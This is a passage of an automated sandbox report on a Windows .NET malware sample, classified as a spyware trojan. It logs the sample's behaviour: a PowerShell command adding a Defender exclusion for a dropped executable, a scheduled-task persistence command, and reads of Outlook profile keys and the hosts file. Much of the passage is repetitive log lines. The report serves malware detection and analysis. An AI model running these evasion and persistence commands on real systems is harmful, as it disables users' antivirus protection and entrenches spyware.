                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.347535078.00000000037C2000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameIVectorView.dllN vs SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.350476892.0000000005840000.00000004.08000000.00040000.00000000.sdmpBinary or memory string: OriginalFilenameCerbera.dll" vs SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.346406018.00000000035A1000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTHWQcdcVCNvnIeHOYeXsEFJEQgIJHy.exe4 vs SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000002.344442888.000000000260D000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTHWQcdcVCNvnIeHOYeXsEFJEQgIJHy.exe4 vs SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 00000000.00000000.253700124.00000000001F2000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamePARAMD.exe" vs SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exeBinary or memory string: OriginalFilename vs SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000000.337227939.0000000000402000.00000040.00000400.00020000.00000000.sdmpBinary or memory string: OriginalFilenameTHWQcdcVCNvnIeHOYeXsEFJEQgIJHy.exe4 vs SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000000.326318211.0000000000A42000.00000002.00000001.01000000.00000003.sdmpBinary or memory string: OriginalFilenamePARAMD.exe" vs SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, 0000000F.00000002.525745819.0000000000EF8000.00000004.00000010.00020000.00000000.sdmpBinary or memory string: OriginalFilenameUNKNOWN_FILET vs SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exeBinary or memory string: OriginalFilenamePARAMD.exe" vs SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                Source: HksvOcmoc.exe.0.drStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile read: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeJump to behavior
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exeStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
                Source: unknownProcess created: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe "C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe"
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HksvOcmoc.exe
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HksvOcmoc" /XML "C:\Users\user\AppData\Local\Temp\tmpCB43.tmp
                Source: C:\Windows\SysWOW64\schtasks.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess created: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\HksvOcmoc.exe
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HksvOcmoc" /XML "C:\Users\user\AppData\Local\Temp\tmpCB43.tmp
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess created: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exe
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{95E15D0A-66E6-93D9-C53C-76E6219D3341}\InProcServer32
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile created: C:\Users\user\AppData\Roaming\HksvOcmoc.exeJump to behavior
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile created: C:\Users\user\AppData\Local\Temp\tmpCB43.tmpJump to behavior
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@9/9@1/1
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.83%
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeSection loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6696:120:WilError_01
                Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6860:120:WilError_01
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, tI/Tn.csCryptographic APIs: 'CreateDecryptor'
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, tI/Tn.csCryptographic APIs: 'CreateDecryptor'
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.a40000.5.unpack, tI/Tn.csCryptographic APIs: 'CreateDecryptor'
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.a40000.5.unpack, tI/Tn.csCryptographic APIs: 'CreateDecryptor'
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exeStatic PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: PARAMD.pdb source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, HksvOcmoc.exe.0.dr
                Source: Binary string: PARAMD.pdb8 source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, HksvOcmoc.exe.0.dr

                Data Obfuscation

                barindex
                .NET source code contains method to dynamically call methods (often used by packers)
                Source: SecuriteInfo.com.W32.AIDetectNet.01.20229.exe, tI/Tn.cs.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
                Source: 15.0.SecuriteInfo.com.W32.AIDetectNet.01.20229.exe.a40000.5.unpack, tI/Tn.cs.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeCode function: 0_2_0588317C push cs; iretd
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeCode function: 15_2_02DB6896 push FFFFFF8Bh; iretd
                Source: initial sampleStatic PE information: section name: .text entropy: 7.75075398615
                Source: initial sampleStatic PE information: section name: .text entropy: 7.75075398615
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeFile created: C:\Users\user\AppData\Roaming\HksvOcmoc.exeJump to dropped file

                Boot Survival

                barindex
                Uses schtasks.exe or at.exe to add and modify task schedules
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\HksvOcmoc" /XML "C:\Users\user\AppData\Local\Temp\tmpCB43.tmp
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeRegistry key monitored for changes: HKEY_CURRENT_USER_Classes
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Users\user\Desktop\SecuriteInfo.com.W32.AIDetectNet.01.20229.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
                Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
